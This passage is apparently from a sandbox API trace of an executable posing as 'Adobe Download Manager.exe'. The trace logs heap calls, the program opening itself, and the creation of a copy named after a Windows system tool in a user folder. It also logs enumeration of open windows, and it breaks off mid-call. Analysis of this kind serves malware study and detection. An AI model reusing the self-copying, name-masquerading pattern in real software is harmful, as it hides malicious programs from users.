hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0168.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.721] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.721] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0168.722] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.722] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.722] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0168.722] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0168.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0168.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7cb8 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0168.723] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.723] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.724] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0168.724] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0168.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0168.724] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0168.724] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0168.725] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xbcefa0, nSize=0x7fff | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe")) returned 0x38 [0168.726] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", nBufferLength=0x7fff, lpBuffer=0xbbef90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe", lpFilePart=0x0) returned 0x38 [0168.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104a1e8 | out: hHeap=0xe80000) returned 1 [0168.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0168.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0168.726] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0168.728] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\Adobe Download Manager.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\adobe download manager.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0168.728] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.728] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xbdf380 | out: lpNewFilePointer=0x0) returned 1 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba1d8 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b40 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf958 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c18 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba138 | out: hHeap=0xe80000) returned 1 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.729] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.729] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba138 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.729] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.729] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.730] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0168.730] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c18 [0168.730] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0168.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba138 | out: hHeap=0xe80000) returned 1 [0168.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c18 | out: hHeap=0xe80000) returned 1 [0168.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.730] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0168.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba200 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0168.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba138 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0168.731] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a38 [0168.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0168.731] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba200 | out: hHeap=0xe80000) returned 1 [0168.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba138 | out: hHeap=0xe80000) returned 1 [0168.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0168.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0168.732] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0168.732] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0168.732] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0168.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0168.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec3d0 [0168.733] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba138 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf508 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b88 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba200 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf8f8 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0168.733] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b28 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf888 [0168.733] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a38 [0168.734] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0168.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0168.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10000) returned 0x111c408 [0168.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c18 [0168.734] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf898 [0168.734] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\btpanui\\SystemPropertiesPerformance.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\btpanui\\systempropertiesperformance.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0168.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba520 [0168.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b70 [0168.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf978 [0168.735] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa38 [0168.735] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0168.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0168.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0168.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0168.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba200 | out: hHeap=0xe80000) returned 1 [0168.736] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.736] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 1 [0168.736] TranslateMessage (lpMsg=0xbdf794) returned 0 [0168.736] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0168.736] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0168.736] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0168.737] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba200 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b28 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf498 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779c0 [0168.737] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a38 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b10 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8a8 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077a50 [0168.737] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf8b8 [0168.737] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0168.738] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.738] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0168.738] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.738] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0168.738] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.738] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.738] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.739] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.739] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.739] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.739] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.739] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.739] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.739] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.740] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.740] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.740] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.740] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.740] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.740] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.740] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.741] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.741] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.741] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0168.741] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0168.741] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0168.741] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.742] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.742] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.742] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0168.742] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.742] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0168.742] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.742] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.743] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.743] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.743] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.743] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0168.743] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0168.743] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0168.743] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.744] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.744] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.744] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0168.744] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0168.744] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0168.744] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.744] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0168.745] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.745] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0168.745] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.745] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0168.745] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0168.745] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0168.745] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdedb0, nMaxCount=1024 | out: 